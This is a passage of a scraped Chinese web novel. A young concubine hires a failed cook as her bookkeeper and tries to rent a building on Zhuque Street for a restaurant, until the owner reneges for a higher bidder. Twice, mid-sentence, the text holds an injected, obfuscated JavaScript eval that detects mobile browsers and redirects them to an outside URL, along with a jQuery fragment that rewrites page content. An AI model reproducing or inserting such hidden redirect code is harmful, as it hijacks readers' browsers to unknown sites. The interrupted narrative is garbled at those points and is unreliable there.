南燕晚听后暗自松了口气,她原本还在担心一同去后如何回边府,如此一来倒不用太放在心上。 “听姑娘口音,像是京城本地人。”张方藤率先抛出话题,为对话打开话匣子。 “是,张公子好像不是。” “在下小时住在淩水县,离京城有整整一天一夜的脚程。后来家中发迹,随考妣①来到京城做生意,便定居在京城了。” “抱歉,提到你伤心处了。” “无妨,不过经常做生意不容易,后来我就转行做厨子了。” “三百六十行,行行出状元。不瞒您说,奴家出手帮您,正是因为您是厨子的缘故。” “如何说?”张方藤更疑惑了。 “我是家中独女,但志向却并不在嫁人生子上,反而对经商感兴趣。听说最近朝廷准许女户做生意,奴家便想试着自己开家小酒楼。但目前这个想法还未成型,手下并未招收人手,所以……”南燕晚看向张方藤,欲言又止。 “姑娘想让在下去您手下当厨子?”张方藤顺势接下南燕晚止住的话。 南燕晚笑道:“是。” 张方藤高兴起来:“那真是好极了!不瞒姑娘说,我这几日刚好被辞退,正愁找不到活计谋生。” “姑娘真真是大好人,不仅帮在下解了燃眉之急,还好人做到底,帮在下物色到新活计。”张方藤眼睛放亮,仿佛看见了镀着光晕的活菩萨。 实际上这事南燕晚也是高兴极了,正愁怎么找厨子呢,可巧就碰着一个,而且对方还有意在这方面深造,踏实肯干,应当是个好厨子。 双方都高兴的情况下,就想要摸摸对方底细了。 张方藤作为有经验谋生的人,率先对南燕晚发问:“好事是好事。就是不知银钱几何?假期如何?酒楼在何地界?招牌菜主营业务是什么?一天需要做多久的活?以及银钱何时结清?” 噼里啪啦一堆问题,却让南燕晚的脸越来越红,待张方藤问完收尾,南燕晚才小声回答:“这些,奴家都还未想清。” 张方藤先是一愣,但随即又了然。刚刚起步做生意的人,确实会有很多地方没想通,这是正常的。 “那姑娘的酒楼在哪个地界呀?有多大?”张方藤体贴地换了问题。 南燕晚暗道自己失策了,躲避张方藤的目光:“奴家……奴家还未租房子。” 张方藤脑子一白,合着自己白高兴一场了。张方藤还是不死心,问道:“姑娘是想真心做生意还是闹着玩?” “奴家自然是真心想做生意的。”南燕晚忙坦白。 “好。”张方藤转念一想,又笑道,“姑娘的本钱应当足够吧?” “自然。” 南燕晚的本钱就是她的嫁妆。虽然为妾,南燕晚的嫁妆并不多,但是南家终究不是小户人家,面子上还是要给她留些钱财,让她余生不愁的。给做生意本钱,还是绰绰有余。 8. 第八章 张方藤莞尔一笑:“姑娘方才也听说了在下家中之前是做生意的,虽未实践,但也算得上从小耳濡目染。不若在下先帮姑娘参谋着事情,等弄好了再让姑娘来拿主意。可好?” 南燕晚沉默片刻,让一个刚刚认识的生人与她谋划,她势必信不过的。但自己也确实没有什么做生意经验…… “你想要什么?”南燕晚直截了当地问。 “什么要什么?”张方藤懵了。 “人都是有利可图,我们未曾相识,今日是第一面,你总不可能无利平白帮我。” 张方藤爽朗笑起来:“此话不假,姑娘刚刚帮了在下,在下便欠姑娘一个人情,如今有能立刻归还人情的事做,在下自然求之不得。” “公子真不像个厨子。”南燕晚中肯地评价。 如若不是亲耳听见张方藤坦白身份,不然谁会想到这样一个穿着青白素衫,举止谈吐温文尔雅的男人会是个厨子? “既然公子愿意帮忙,奴家亦是求之不得。不过此忙甚大,平白让公子公子帮了,奴家心里也不踏实。不若事成之后,奴家以市场价格给公子银钱,就当提前聘请公子了。” “可行。”张方藤点头赞同。 * 三人走走停停,絮絮叨叨聊了很多,终于到了张方藤的宅邸。 张方藤并未娶妻,家中只一人居住,宅邸是考妣留给他的居所。 “姑娘们请进。”张方藤走上前率先打开门锁。 随后,张方藤引着两人在院中的桌前落座。 “在下先去沏茶,姑娘们请稍等片刻。”说完,张方藤便进了屋。 “小姐,他真的靠谱吗?”待张方藤走后,端柳和南燕晚咬耳朵,“他好像个账房先生,读书当秀才的那种。” “人不可貌相嘛,我倒是觉得很靠谱。”南燕晚回想起刚刚张方藤有理有据的发言,对张方藤信任度极高。 端柳却摇头:“小姐,有时候咱们就应该貌相。我觉得他做不了厨子。” 南燕晚不赞同:“不然我们试探一下他?” 端柳点头:“好。” * 待张方藤沏好茶为三人斟完茶后,便一同落座。 “张公子。”南燕晚笑意盈盈地开口,“我们聊好了合作,既然我们这边已然谈妥,也是时候让我们看看张公子的能力了。” “好,怎么看?”张方藤爽快接下。 “奴家聘请张公子是因为张公子是厨子,不如张公子先行做出一道拿手菜品,让我们俩试吃一下,也好让我们心里有个底。” “可行,厨房在院子后头,两位稍等片刻。”说完,张方藤起身直奔厨房而去。 一盏茶时间过去,张方藤端出一碗鸡蛋羹来。 “时间紧急,在下就随便做了一道鸡蛋羹,姑娘们请品尝一下。”张方藤做了“请”的手势。 鸡蛋羹表面是蛋黄色,薄薄的一层油水泛出金黄色的光泽,青白色葱花挥洒其上,散发出美味的香气。 从色香来说,这应当是道佳肴。 南燕晚朝端柳挤眉弄眼,奈何端柳早就假装忘记了之前的话,馋溜溜地只想吃下鸡蛋羹。 “请吧。”两人接过张方藤递上来的碗勺,向鸡蛋羹发起进攻。 端柳是只小馋猫,率先挖了一大勺鸡蛋羹塞进嘴里。南燕晚紧随其后,但她到底矜持一些,只稍稍挖了一点,放进嘴里品味。 下一瞬,两声“呕!”同时响起。 南燕晚整张脸皱起,但良好的教养还是让她忍住将鸡蛋羹吞了进去。 端柳就不好过了,她吃了一大口,现在嘴里都充斥着难吃的味道,根本受不了,一溜烟跑出院子找了个巷子角落处吐了。 等端柳吐完回到张方藤院宅,整个人都只虚虚地扶住门锁。 “张公子,你莫不是把盐袋子放进锅了。你要谋杀我和小姐啊!”端柳扶着门锁,感觉整个人都不好受。 那鸡蛋羹不仅咸得发苦要人命,而且好像还没蒸熟,一股子蛋腥味直冲鼻腔,还有些不可言说的滋味混杂在里面。 总而言之,就不是人能吃的东西。 “有那么难吃吗?”张方藤皱眉,满脸的不可置信,“在下也是做过五年厨子的人了,这小小一碗鸡蛋羹不至于如此食不下咽吧?” 但一抬头,迎上的确是南燕晚和端柳双双点头的场景。 “我不信。”张方藤仍然死不相信,重新拿来碗筷,自己尝了一口。 下一瞬,不出意外地,跑进屋子里吐了。 吐完跑回院中,张方藤虚虚扶着门锁,给出了肯定的评价:“从没吃过这么难吃的玩意儿。” “你以前在哪家酒楼做工,倒闭没?”端柳继续扎心。 “没在酒楼做工。”张方藤摇头,“之前在下是给牢狱里的犯人做饭的。” 南燕晚和端柳表情一滞,给犯人做饭,那即使张方藤做的饭菜举世无双的难吃,那些犯人也没地儿诉苦吧。难怪张方藤不知道他做的有多难吃。 “你都不尝尝自己做的菜吗?”南燕晚拿出手绢擦嘴。 “所谓医者不自医,同理,我是厨子,自然也不吃自己的菜。一般赚了钱就会去一些摊子上吃饭。”张方藤对此自有一套歪理。 南燕晚、端柳:“……” 一时无言以对。 须臾,南燕晚打破僵局:“之前张公子说祖上行商,不知可会拨盘算账?记账或者打理账本之类的?” “会呀,从小就学。”张方藤回道,“考妣经常教导在下这个,姑娘不信可随在下进书房查看。” 南燕晚起身:“有劳了,奴家还是去看一眼吧。” 有了前车之鉴,南燕晚已经不敢轻易相信张方藤了。不,应该是不能轻易相信任何人了。以后有人应聘,也当先考查一番实力才行。 张方藤引着二人进了自己的书房,书房布置简单,摆了桌案和部分常见书籍。 张方藤走到桌案前,从上面繁杂的书堆里抽出一本账单和一把算盘。 “在下自小对账单一类很感兴趣,即使之前的家业不在了,也会时不时抽出时间来拨算一番。”张方藤将账单递给南燕晚,示意她打开查看。 南燕晚并没有接触过生意这一类 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15961834|177670||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的东西,但能识字,账单项目还是能看懂的。 账单什么清清楚楚写好了日期,开支情况,开支多少,以及剩余银钱。 清晰明了,应当还是不错的。 南燕晚满意地点点头,看着张方藤道:“张公子,奴家有意聘请你做账房先生,不知张公子意下如何?” 张方藤不好意思挠头:“也行。今日终于见识到自己做菜的能力了,也不好再出去应聘厨子了。账房先生也不错的。” “奴家不知账房先生的市价是多少,不如张公子自己先开一个价吧,若如奴家觉得可行,我们便敲定吧。” “行。”张方藤喜不自胜,“我不是坐地起价坑蒙拐骗之人,不如咱们就按市价二两纹银一月如何?” “好。”这个价格在南燕晚的接受范围内,所以她爽快地答应了。 * 日落时分,南燕晚满意地揣着契约与端柳回了边府。 南燕晚和张方藤签的是雇佣的契约,一月为期发放月钱,每月八日寄出。双方有任何一方想要解雇,均可立即解除。 南燕晚让端柳将袖中剩下的碎银摊在桌子上,一齐数了数个数。说来也巧,刚好南燕晚赊给张方藤的银两正好值五个月的工钱,所以刚好相抵消。 两人临出屋前,张方藤建议南燕晚第一步便是在京城繁华租或者买下一栋楼房,以待酒楼开张。 南燕晚看着剩下的碎银,对端柳道:“咱们还是去租楼房吧。” 端柳也点头赞同:“没错,京城的楼房太贵了,咱们根本买不起。” “而且除去租房的银钱,咱们还要修葺、采买、雇人。”南燕晚指尖点着桌面,心里计算着开销,最后苦着一张脸说,“这又是几笔大钱呀。” “南家也是抠门,给大小姐出嫁的嫁妆可是整整几十好东西,里面田地商铺更是数都数不清。结果到了咱们这儿,连置办一座酒楼都吃力。”端柳说着说着,气得恶狠狠地呲牙。 南燕晚露出苦笑。 这就是妻妾的区别,妻的嫁妆要放在明面上,越多越有面。而妾的嫁妆都是暗地里给的,甚至很多妾都没有嫁妆,全部得倚仗夫家。 但是…… 南燕晚放在桌子上的手一顿,继续思考:但是这世上终究没有任何人能靠得住,唯一能靠住的只有自己! 原本因困难重重而有所退缩的想法再次浮现在心头,并且更加坚定: 她要开酒楼!她要开全京城最大最好的酒楼! * “姨娘。”周家媳妇站在山水墨画屏风外,对着里间的人低低唤道。 “说。”里间人懒懒的声音传了出来。 “姨娘安排好的人已经到了京城,安顿在了府外,只听姨娘下一步指示。” 话落,屋子里陷入一阵沉默。 半晌,里间人才缓缓开口:“再等段时间吧,不急。” “是。” 周家媳妇应完刚想退下,却听里间人继续道,“找个合适的时机,不要太刻意,也不要太适合。一瞌睡就递枕头,天下哪有这般好的事情?” “是。” 9. 第九章 接下来的几天里,南燕晚和端柳都在为了酒楼选址而奔波。张方藤也送来了一些意见。 最后经过多方面权宜,南燕晚决定租下朱雀街的一栋两层楼。双方也协商好在九月半时去朱雀街面谈。 等到九月半这天,三人都起了个大早去朱雀街。南燕晚没有租赁过房子,害怕出差错和意外,所以早早和张方藤说好一起去看看情况。 南燕晚和端柳到达朱雀街时,张方藤已经在约定地点等候多时了。 “南姑娘,端柳姑娘。”张方藤笑着和她们打招呼。 “张公子。”南燕晚和端柳也笑着回礼。 “南姑娘打算租赁的那栋二层楼,在下昨日去瞧了瞧,是个繁华地段,位于朱雀街中央。往后做生意来客应当是不愁,只是那个地段的房价极贵,姑娘要先做个心理准备。” “你放心,我们拿够了充足的银两。”南燕晚安抚道。 前几日,她害怕南家给的银两不足,还专门和端柳一起去跑了几趟典当铺,将一些金银首饰都死当了。所以手上银钱非常宽裕。 南燕晚做事,张方藤还是放心的。于是便不再多言,张方藤领着两人一起去了地点。 * 这座楼的原租主刚解租没多久,所以里面修葺得和新的一样,全部涂上了正红的染漆。 张方藤让两人等待片刻,先上前去敲了敲正大门。 正门很快从里面打开,一个穿着华丽的男人从里面探出头来瞧了瞧,看见张方藤便道:“阁下是来租赁的租主吗?” “不是,是东家要租。”说完,张方藤侧了侧身,向男人指了指站在外面檐下的南燕晚。 “行,进来吧。”男人点了点头,敞开大门示意几人进来。 张方藤小跑到南燕晚身边,朝她耳语说明了情况,南燕晚对男人行了见面礼,对方回了礼,并抬手做了请的手势。 得到了回复,南燕晚便领着两人一齐进了楼。 男人是房主的儿子,叫王秀成。他早得了老爹的命令在此等候,进了楼后便轻车熟路地带着他们来到一间房前。 “只姑娘一人进去便可。”王秀成对南燕晚道。 南燕晚点头,回头对两人说:“你们在外面等着吧,我一人进去便可。” “不要,我要和小姐一起进去。”端柳嘟嘴撒娇道,“我还没见过租赁房子的事呢,好小姐,你就让我跟进去吧。” 在南燕晚看来,端柳和自家妹妹一样。于是南燕晚想也没想便依了她。 “王公子,如今已入秋,外面风大,容易着凉,奴家这两位也不是什么外人,可否通融让我们一齐进去?” 王秀成蹙眉,驳道:“南姑娘,我们这里租赁房子都是这样的规矩。是您租,不是他们租。所以只您一个人进来便可了。” “我们又不会说出去,也不会打扰你们谈事,凭什么不让我们进去?”端柳跳出来反驳。 “规矩便是这样。”王秀成眉头紧皱,转头又对南燕晚道,“不遵守规矩,那我们这生意还成不成体统了?南姑娘还是再考虑一下吧,和自家的下人好好说清楚。” 南燕晚沉吟片刻,只好转头哄着端柳:“乖,好端柳。这是别人的规矩,咱们既然要谈生意,还是要遵循着别人的来。你们现在外面稍等片刻,等谈完了,我们再一齐去醉香居吃好吃的。” 听见去醉香居,端柳才被安哄了下来。 南燕晚跟着王秀成进了屋,两人面对面在桌案前坐下。 “不是在下多嘴,你家下人也忒不懂规矩了。哪有主人家开口决定好的事情,还在这里阻三岔四的?”王秀成刚坐下便不满道。 南燕晚蹙眉:“王公子,奴家和端柳情同姐妹,并非一贯的主仆。” “呵,并非一贯主仆,但也是主仆。主仆之间就要讲尊卑地位,不然会酿成祸事的。”王秀成为两人斟好茶,“升米恩,斗米仇。①姑娘和仆从关系好,稍微宽待便可。若真是以姐妹相称相待,就会噬主。” 南燕晚不乐意听这话,但也知道对方好心,遂转移话题:“请问公子这边租金多少?月结还是年结?” 王秀成接下话题:“租金八千缗,月结。” 南燕晚心里咋舌,不愧是上京城这个寸土寸金的地方,房价贵得吓人。但又在情理之内,南燕晚还是接受了这个价格。 “租赁期间内,屋子随意改造,但是不可以损坏最外层墙壁,否则就要进行赔偿。赔偿金按损坏情况而定。”王秀成将契约拿出来,“没问题的话就看契约吧。” “没问题。”南燕晚接过契约,仔细研读起来。 在来之前,张方藤已经给南燕晚简单说了契约的大致内容,也叮嘱她注意事项。所以南燕晚仔细研读后,确定无疑,没有任何问题。 南燕晚:“如果奴家今天签订契约,交租时间是在每月半吗?” 王秀成:“是的,而且交租时间不可拖欠。” 南燕晚:“那上一个租主留下的东西都清理干净了吗?” 王秀成:“已经清理干净了。楼分两层,每层楼有十二间厢房。不知姑娘买楼是想做什么生意?” 南燕晚:“奴家想要开一家酒楼。后面可能会拆掉一楼的厢房墙壁,不知可行吗?” 王秀成:“可以,只要姑娘退租的时候将厢房恢复如初便可。” “行,奴家的问题问完了。”南燕晚拿起桌案上的笔问道,“没问题的话,我们就签字画押吧。” 王秀成见对方如此爽快,也是高高兴兴地应下:“成。” * 事成,王秀成和三人到了门口。 王秀成从袖中掏出一大串钥匙递给南燕晚:“南姑娘,这是这栋楼的全部钥匙,从左往右数依次是一楼到二楼的厢房。你且收好了。” “好。”南燕晚伸出手,准备借过那串沉甸甸的钥匙,内心是压抑不住的雀跃。 很快,她就将有自己的酒楼了。 “慢着!”一道严厉的声音突然出现,王秀成首先一愣。 几人抬头看去,只见一个捻着嘴边小胡须的中年男人摇摇摆摆地走上前来。 “爹。”王秀成率先反应过来,对着男人行礼。 王安通从嘴里哼唧“嗯”了一声,随后走到了王秀成身边问:“钥匙还没交吧?” “还没。”说着,王秀成抖了抖手里的钥匙。 刚刚递钥匙被王安通给打断了,南燕晚还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15961835|177670||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 未接过钥匙,王秀成因为要行礼便收回了手。所以钥匙还在王秀成手中。 “行。”王安通摸着胡须,看向南燕晚,“姑娘,咱们商量个事儿。” “什么事?”南燕晚眉头紧皱,能看出来,来者不善。 果不其然,听王安通说道:“既然钥匙还未交,那屋子就还未租赁给你们,我已经另寻租主,姑娘请回吧。” 南燕晚脸色愠怒,上前一步正准备开口,却被张方藤抢先一步拦在身后。 “王老爷,我们已经签字画押并且交了一月租金。突然出尔反尔,不知是何用意?”张方藤平常看着是温润公子,但真正生起气来时,语气不自觉带了威压。 “双方当面把契约烧毁,秀成马上把租金退回去。这事便完了。”王安通一挥袖,极其不耐烦的样子。 王秀成也是蹙眉,但毕竟是自家父亲的意思,他也不好说什么,转身进屋,匆忙拿出火折子和一方盒子来。 那方盒子南燕晚认得,几柱香前,王秀成就是将租金放进这方盒子的。 “王公子,你们到底什么意思?”南燕晚瞪着王秀成,语气极度不满,“出尔反尔不是商人作风,这样可是有失信誉的。” 王秀成低头避开南燕晚的目光,偏头打量自家老爹的神情。他到底年轻,无脸老赖的行为他做不来。 “喂!你们总得给我们一个理由吧。凭什么突然就不让我们租房了?要钱,我们钱也交了。签字画押,我们也好好签了。你们到底还要我们怎样?”端柳也跳出来嚷道。 端柳一双眼睛在王安通和王秀成身上来回转,特别是落在王秀成身上时,眼睛恨不得剜出个血窟窿来。她还在为刚刚的事情记恨王秀成。 “当然是要钱了,我们是商人,自然钱字最大。”王安通看着端柳,眼含不屑。 接着,王安通的视线离开她,扫过一众人,缓缓开口说道:“我们还没交出钥匙,那这谈判就还没结束。好物自古都是价高者得,有人出了更高的价格要买下我这屋子。我当然是要让给他的。” “可分明就是我们先来的!做事总要有个先来后到吧。”端柳不服气。 王安通嗤笑一声:“我是要卖出去,这楼的主人家都要换了。哪里还管你们租房没有?就算租了,也是要退的。” 闻言,三人的脸色俱不好看。 沉默片刻,南燕晚示意端柳接过王秀成递过来的盒子,然后从袖中拿出自己的那份契约,对王秀成道:“王公子,当面把两份契约都烧了吧。” “好。”王秀成就等着这句话,接过递来的契约,合着自己手上的那份一起,当着大家伙所有人的面,一并烧完了。 “王老爷。”南燕晚看着王安通,“敢问这位新主家是谁?可否通融一下,让奴家见上一面。” 这次换王安通愣神了:“见面作什么?” “奴家还是想租下这楼。”南燕晚坚定地说。 上京城主路段分东西南北四条路,分别对应着神兽青龙、白虎、朱雀、玄武的名称。四条主街都是上京城极其繁华的地界,此楼位于朱雀街,人来人往,客流极大。 如此好的地方,南燕晚不想错过。哪怕麻烦一点,只要能租下就行。